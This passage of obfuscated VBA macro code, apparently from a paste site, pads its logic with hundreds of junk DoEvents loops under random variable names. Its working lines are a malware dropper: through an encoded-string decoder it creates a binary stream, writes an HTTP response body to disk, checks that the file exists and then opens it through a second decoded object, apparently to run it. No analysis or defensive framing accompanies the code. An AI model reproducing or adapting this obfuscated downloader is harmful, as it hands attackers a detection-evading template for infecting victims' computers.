  845. Next qlOQxDQfUAv
  846. Dim aQtOotqBET As Integer
  847. For aQtOotqBET = 809 To 809 + 5
  848. DoEvents
  849. Next aQtOotqBET
  850. Dim tBOqKpNfFgr As Integer
  851. For tBOqKpNfFgr = 735 To 735 + 5
  852. DoEvents
  853. Next tBOqKpNfFgr
  854. Dim DYOFSdLLzlM As Integer
  855. For DYOFSdLLzlM = 1713 To 1713 + 5
  856. DoEvents
  857. Next DYOFSdLLzlM
  858. Dim OqKpNfFgr As Integer
  859. For OqKpNfFgr = 735 To 735 + 5
  860. DoEvents
  861. Next OqKpNfFgr
  862. Set Antkhrp9gTyfJ3 = CreateObject(ZRCOUP(dvr5p))
  863. Dim JDVTqLkqmyB As Integer
  864. For JDVTqLkqmyB = 542 To 542 + 5
  865. DoEvents
  866. Next JDVTqLkqmyB
  867. Dim ejwtcpOOq As Integer
  868. For ejwtcpOOq = 657 To 657 + 5
  869. DoEvents
  870. Next ejwtcpOOq
  871. Dim EIunuZzlA As Integer
  872. For EIunuZzlA = 2396 To 2396 + 5
  873. DoEvents
  874. Next EIunuZzlA
  875. Dim stauzHxdmml As Integer
  876. For stauzHxdmml = 753 To 753 + 5
  877. DoEvents
  878. Next stauzHxdmml
  879. Dim peJFFE As Integer
  880. For peJFFE = 245 To 245 + 5
  881. DoEvents
  882. Next peJFFE
  883. With Antkhrp9gTyfJ3
  884. Dim nJQYCP As Integer
  885. For nJQYCP = 453 To 453 + 5
  886. DoEvents
  887. Next nJQYCP
  888. Dim bstOPaxeHYD As Integer
  889. For bstOPaxeHYD = 1531 To 1531 + 5
  890. DoEvents
  891. Next bstOPaxeHYD
  892. Dim AVumj As Integer
  893. For AVumj = 1877 To 1877 + 5
  894. DoEvents
  895. Next AVumj
  896. .Type = 1
  897. Dim YpBpnhzwS As Integer
  898. For YpBpnhzwS = 738 To 738 + 5
  899. DoEvents
  900. Next YpBpnhzwS
  901. Dim LakESFsSpo As Integer
  902. For LakESFsSpo = 249 To 249 + 5
  903. DoEvents
  904. Next LakESFsSpo
  905. Dim ijhmQel As Integer
  906. For ijhmQel = 1328 To 1328 + 5
  907. DoEvents
  908. Next ijhmQel
  909. Dim Cbhdor As Integer
  910. For Cbhdor = 851 To 851 + 5
  911. DoEvents
  912. Next Cbhdor
  913. Dim YcqnVjII As Integer
  914. For YcqnVjII = 536 To 536 + 5
  915. DoEvents
  916. Next YcqnVjII
  917. .Open
  918. Dim rVGBqKBsFQz As Integer
  919. For rVGBqKBsFQz = 2453 To 2453 + 5
  920. DoEvents
  921. Next rVGBqKBsFQz
  922. Dim kQlqyn As Integer
  923. For kQlqyn = 1851 To 1851 + 5
  924. DoEvents
  925. Next kQlqyn
  926. Dim RuNtQjvjh As Integer
  927. For RuNtQjvjh = 1217 To 1217 + 5
  928. DoEvents
  929. Next RuNtQjvjh
  930. Dim pPmlNuLyC As Integer
  931. For pPmlNuLyC = 1123 To 1123 + 5
  932. DoEvents
  933. Next pPmlNuLyC
  934. Dim lbeVuYCAiQri As Integer
  935. For lbeVuYCAiQri = 1870 To 1870 + 5
  936. DoEvents
  937. Next lbeVuYCAiQri
  938. .Write kSrmQYLjBtNSgg.responseBody
  939. Dim HMxqxcpoEI As Integer
  940. For HMxqxcpoEI = 1427 To 1427 + 5
  941. DoEvents
  942. Next HMxqxcpoEI
  943. Dim VtdntpB As Integer
  944. For VtdntpB = 793 To 793 + 5
  945. DoEvents
  946. Next VtdntpB
  947. Dim HlPzvk As Integer
  948. For HlPzvk = 2141 To 2141 + 5
  949. DoEvents
  950. Next HlPzvk
  951. Dim DyceJ As Integer
  952. For DyceJ = 2267 To 2267 + 5
  953. DoEvents
  954. Next DyceJ
  955. Dim mjGqAGCOfgBD As Integer
  956. For mjGqAGCOfgBD = 813 To 813 + 5
  957. DoEvents
  958. Next mjGqAGCOfgBD
  959. .SaveToFile strSaveTo
  960. Dim evJfSdAvZaG As Integer
  961. For evJfSdAvZaG = 703 To 703 + 5
  962. DoEvents
  963. Next evJfSdAvZaG
  964. Dim CmxDzK As Integer
  965. For CmxDzK = 420 To 420 + 5
  966. DoEvents
  967. Next CmxDzK
  968. .Close
  969. Dim fGdbDlC As Integer
  970. For fGdbDlC = 735 To 735 + 5
  971. DoEvents
  972. Next fGdbDlC
  973. Dim gqZZLLnvIkE As Integer
  974. For gqZZLLnvIkE = 2286 To 2286 + 5
  975. DoEvents
  976. Next gqZZLLnvIkE
  977. Dim CpcDZYA As Integer
  978. For CpcDZYA = 1038 To 1038 + 5
  979. DoEvents
  980. Next CpcDZYA
  981. Dim iYOdnVVIIks As Integer
  982. For iYOdnVVIIks = 469 To 469 + 5
  983. DoEvents
  984. Next iYOdnVVIIks
  985. End With
  986. Dim vypOeQG As Integer
  987. For vypOeQG = 1594 To 1594 + 5
  988. DoEvents
  989. Next vypOeQG
  990. Dim KRiIIYOQI As Integer
  991. For KRiIIYOQI = 328 To 328 + 5
  992. DoEvents
  993. Next KRiIIYOQI
  994. Set Antkhrp9gTyfJ3 = Nothing
  995. Dim Ocbrvy As Integer
  996. For Ocbrvy = 1089 To 1089 + 5
  997. DoEvents
  998. Next Ocbrvy
  999. Dim ZlBQY As Integer
  1000. For ZlBQY = 505 To 505 + 5
  1001. DoEvents
  1002. Next ZlBQY
  1003. Dim VvYCn As Integer
  1004. For VvYCn = 2276 To 2276 + 5
  1005. DoEvents
  1006. Next VvYCn
  1007.  
  1008. Dim xRuzMJsF As Integer
  1009. For xRuzMJsF = 1019 To 1019 + 5
  1010. DoEvents
  1011. Next xRuzMJsF
  1012. Dim SQVHAHmMyNR As Integer
  1013. For SQVHAHmMyNR = 1162 To 1162 + 5
  1014. DoEvents
  1015. Next SQVHAHmMyNR
  1016. If hxuWnpbqBtp4u.FileExists(strSaveTo) Then
  1017. Dim ahoSgfvyB As Integer
  1018. For ahoSgfvyB = 88 To 88 + 5
  1019. DoEvents
  1020. Next ahoSgfvyB
  1021. Dim QSSQVHA As Integer
  1022. For QSSQVHA = 1541 To 1541 + 5
  1023. DoEvents
  1024. Next QSSQVHA
  1025. Dim qOeQGorL As Integer
  1026. For qOeQGorL = 929 To 929 + 5
  1027. DoEvents
  1028. Next qOeQGorL
  1029. Dim RIiKpaVJfUL As Integer
  1030. For RIiKpaVJfUL = 1181 To 1181 + 5
  1031. DoEvents
  1032. Next RIiKpaVJfUL
  1033. Dim vmLbTDl As Integer
  1034. For vmLbTDl = 660 To 660 + 5
  1035. DoEvents
  1036. Next vmLbTDl
  1037. End If
  1038. Dim AfFrHLNF As Integer
  1039. For AfFrHLNF = 1199 To 1199 + 5
  1040. DoEvents
  1041. Next AfFrHLNF
  1042. Dim mLbTDloI As Integer
  1043. For mLbTDloI = 1865 To 1865 + 5
  1044. DoEvents
  1045. Next mLbTDloI
  1046. Dim oEHKCbEjT As Integer
  1047. For oEHKCbEjT = 393 To 393 + 5
  1048. DoEvents
  1049. Next oEHKCbEjT
  1050. Dim wftRStCOr As Integer
  1051. For wftRStCOr = 1281 To 1281 + 5
  1052. DoEvents
  1053. Next wftRStCOr
  1054. Dim oFrvVJGASP As Integer
  1055. For oFrvVJGASP = 509 To 509 + 5
  1056. DoEvents
  1057. Next oFrvVJGASP
  1058. Dim tcpOOqyL As Integer
  1059. For tcpOOqyL = 1109 To 1109 + 5
  1060. DoEvents
  1061. Next tcpOOqyL
  1062. Dim AULCPaIIwi As Integer
  1063. For AULCPaIIwi = 634 To 634 + 5
  1064. DoEvents
  1065. Next AULCPaIIwi
  1066. Set ыјјыва = CreateObject(ZRCOUP(pIna0CSVNsu))
  1067. Dim dBQJtc As Integer
  1068. For dBQJtc = 969 To 969 + 5
  1069. DoEvents
  1070. Next dBQJtc
  1071. Dim rkrVwixBEw As Integer
  1072. For rkrVwixBEw = 1508 To 1508 + 5
  1073. DoEvents
  1074. Next rkrVwixBEw
  1075. ыјјыва.Open ijnK2g & ZRCOUP(WWNcjAI4U)
  1076. Dim QsgpNHlnTo As Integer
  1077. For QsgpNHlnTo = 2223 To 2223 + 5
  1078. DoEvents
  1079. Next QsgpNHlnTo
  1080. Dim MYpqLMQubET As Integer
  1081. For MYpqLMQubET = 1368 To 1368 + 5
  1082. DoEvents
  1083. Next MYpqLMQubET
  1084. End Sub
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement